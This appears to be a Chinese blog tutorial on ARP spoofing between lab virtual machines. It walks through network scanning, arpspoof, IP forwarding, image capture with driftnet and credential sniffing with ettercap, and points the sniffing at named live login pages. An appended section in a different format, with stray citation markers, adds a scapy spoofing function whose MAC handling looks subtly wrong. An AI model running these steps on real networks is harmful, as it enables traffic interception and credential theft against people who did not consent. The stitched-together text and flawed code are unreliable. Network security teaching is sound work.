arp欺骗实践

利用Arp欺骗技术的网络攻击与防御教程

声明:本文中所有的命令开头均为小写,大写是文本粘贴时自动转换的

arp欺骗简介:主机和外部通信时需要获取网关的mac地址,通过在局域网广播arp请求包(含有网关ip)获得arp响应包(网关mac地址)的形式更新本地arp路由表,由于主机不会对arp响应包进行身份验证所以攻击主机可以通过向目标主机发送arp响应包(包含本机的mac地址)并且向网关进行arp请求轰炸的形式让目标主机得不到网关的arp响应,错误的把攻击主机当成网关,导致目标主机的所有流量都会经过攻击主机,这时攻击主机就可以监听目标主机的所有通信信息,从而实行断网或数据截取操作

环境配置

kali虚拟机

ip地址:192.168.232.129

Win7虚拟机

IP地址:192.168.232.128

网关

ip地址:192.168.232.2

确保两个虚拟机之间能够ping通

1.开启目标主机和攻击主机并获取网络信息

        查看目标主机的网络信息

Ipconfig /all

Arp -a

查看本地路由表

查看kali主机的网络信息

测试攻击主机和目标主机是否可以正常通信(同一网段)

Ping 192.168.232.129

目标主机中输入

Arp -a

发现两主机之间可以ping通,目标主机中也出现了攻击主机的信息

2.扫描网络内的活跃主机信息

方法1

Fping -a -g 192.168.232.0/24 >result

将扫描结果写进result文件中

-a:扫描存活主机信息

-g:扫描整个网段

Cat /home/kali/result

查看result文件

方法2

Nmap -sP 192.168.232.0/24

ping的方式检测活跃主机信息

Nmap -sS 192.168.232.0/24

发送syn请求的方式检测活跃主机信息,更不容易发现,扫描更彻底

3.开始进行arp欺骗

首先让目标主机进行外部通信

Ping baidu.com -t

持续访问百度,能上网

查看kali主机的ip_forward值

Cat /proc/sys/net/ipv4/ip_forward

查看是否开启流量转发

开始断网攻击

Arpspoof -i eth0 -t 192.168.232.128 192.168.232.2

-i:指定网卡

-t:目标ip 网关ip

现在开启arp流量转发,监听信息

方法1:

Echo 1 > /proc/sys/net/ipv4/ip_forward

临时开启流量转发(重新开机会重置为0)

Cat /proc/sys/net/ipv4/ip_forward

方法2:

Vim /etc/sysctl.conf

永久修改ip_foward值

Net.ipv4.ip_foward=1

将这句语句前面的#去掉就行

Sysctl -p

使改变生效,这里不进行演示

此时再进行arp欺骗

kali主机

Arpspoof -i eth0 -t 192.168.232.128 192.168.232.2

目标主机

Arp -a 

路由表已经改变,arp欺骗成功

Ping baidu.com

能ping通百度说明此时还能正常上网

截取目标主机访问的图片信息

http图片测试网站

登录实验吧icon-default.png?t=N7T8https://passport.shiyanbar.com/

Driftnet -i eth0

只能抓取http网站的图片

截取http网站输入的账号密码数据

测试的网址

后台登录icon-default.png?t=N7T8http://a.aixjt.com/AdminPublic.html

Ettercap -Tq -i eth0

### ARP欺骗原理 ARP(Address Resolution Protocol)协议用于将IP地址解析为物理网卡的MAC地址。在局域网中,设备通过广播ARP请求来获取目标设备的MAC地址。如果攻击者伪造ARP响应包,将虚假的MAC地址与合法的IP地址绑定并发送给受害者或路由器,就可以实现ARP欺骗。这种欺骗可以分为两种类型:对路由器的路由表欺骗和对内网网关的欺骗[^2]。 #### 路由器的路由表欺骗 在这种类型的欺骗中,攻击者会向路由器发送伪造的ARP响应包,声称某个特定的IP地址对应于攻击者的MAC地址。由于ARP协议本身没有验证机制,路由器会接受这些伪造的信息,并更新其ARP缓存。结果是,所有发往该IP地址的数据包都会被重定向到攻击者的机器上[^1]。 #### 内网网关欺骗 内网网关欺骗则是攻击者冒充网关,向局域网中的其他主机发送伪造的ARP响应包,声称自己是网关设备。这样,局域网中的主机就会将原本应该发往网关的数据包发送到攻击者的机器上,从而导致流量被截获或篡改[^2]。 ### ARP欺骗实践方法 以下是一个简单的ARP欺骗实现方法,使用Python结合`scapy`库来构造和发送伪造的ARP包。 #### 环境准备 确保安装了`scapy`库: ```bash pip install scapy ``` #### 实现代码 以下代码展示了如何构造一个伪造的ARP响应包,并将其发送给目标主机或路由器: ```python from scapy.all import ARP, send def arp_spoof(target_ip, host_ip, interface="eth0"): # 获取攻击者自身的MAC地址 attacker_mac = ARP().hwsrc # 构造ARP响应包 arp_response = ARP(op=2, pdst=target_ip, hwdst=attacker_mac, psrc=host_ip) # 发送伪造的ARP响应包 send(arp_response, iface=interface, verbose=False) # 示例调用 # 假设攻击者想让目标IP 192.168.1.10认为网关192.168.1.1的MAC地址是攻击者的MAC地址 arp_spoof("192.168.1.10", "192.168.1.1") ``` 上述代码中,`op=2`表示这是一个ARP响应包,`pdst`为目标IP地址,`hwdst`为目标MAC地址,`psrc`为伪造的源IP地址(通常是网关或路由器的IP地址)。通过不断发送这样的包,攻击者可以持续维持欺骗状态[^1]。 ### 注意事项 ARP欺骗可能导致网络中断、数据泄露或其他安全问题。因此,在实际环境中进行ARP欺骗测试时,必须获得相关授权,并确保行为符合法律法规。
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

I_WORM

大佬们,赏点儿碎银吧~~

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值